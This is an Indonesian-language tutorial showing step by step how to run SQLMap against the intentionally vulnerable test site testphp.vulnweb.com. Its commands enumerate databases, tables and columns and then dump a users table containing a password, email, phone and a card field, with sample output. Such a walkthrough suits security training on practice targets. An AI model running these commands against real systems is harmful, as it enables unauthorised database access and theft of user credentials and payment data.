Tutorial Serangan SQL Injection Menggunakan SQLMap
SQLMap adalah alat open-source berbasis Python yang dirancang untuk mengidentifikasi dan mengeksploitasi celah keamanan pada aplikasi web melalui serangan injeksi SQL.
Fitur utamanya meliputi:
- Deteksi otomatis parameter rentan.
- Eksploitasi database secara mendalam.
- Mendukung berbagai jenis database seperti MySQL, PostgreSQL, Oracle, dan lainnya.
Di sini admin akan memberikan tutorial cara menggunakan SQLMap untuk serangan metode SQL Injection secara otomatis dan efisien.
Perintah SQLMap
Ikuti langkah-langkah berikut ini:
-
Mencari Nama Database
python sqlmap.py -u "http://testphp.vulnweb.com/product.php?pic=1" --dbs
Output:
[16:01:58] [INFO] fetching database names available databases [2]: [*] acuart [*] information_schemaMemindai URL target dan mencari daftar database yang tersedia.
-
Mencari Informasi Table
python sqlmap.py -u "http://testphp.vulnweb.com/product.php?pic=1" --tables -D acuart
Output:
[16:07:13] [INFO] fetching tables for database: 'acuart' Database: acuart [8 tables] +-----------+ | artists | | carts | | categ | | featured | | guestbook | | pictures | | products | | users | +-----------+ -
Mencari Daftar Kolom
python sqlmap.py -u "http://testphp.vulnweb.com/product.php?pic=1" --columns -D acuart -T users
Output:
[16:10:00] [INFO] fetching columns for table 'users' in database 'acuart' Database: acuart Table: users [8 columns] +---------+--------------+ | Column | Type | +---------+--------------+ | name | varchar(100) | | address | mediumtext | | cart | varchar(100) | | cc | varchar(100) | | email | varchar(100) | | pass | varchar(100) | | phone | varchar(100) | | uname | varchar(100) | +---------+--------------+ -
Dump Informasi dalam Database
python sqlmap.py -u "http://testphp.vulnweb.com/product.php?pic=1" --dump -D acuart -T users
Output:
Database: acuart Table: users [1 entry] +------+----------------------------------+------+---------------------+-------+-------+--------+ | cc | cart | pass | email | phone | uname | name | +------+----------------------------------+------+---------------------+-------+-------+--------+ | 8600 | 598f43e80587a7551a2353d75f0d7ce0 | test | demotest12@test.com | 93661 | test | Sudais | +------+----------------------------------+------+---------------------+-------+-------+--------+
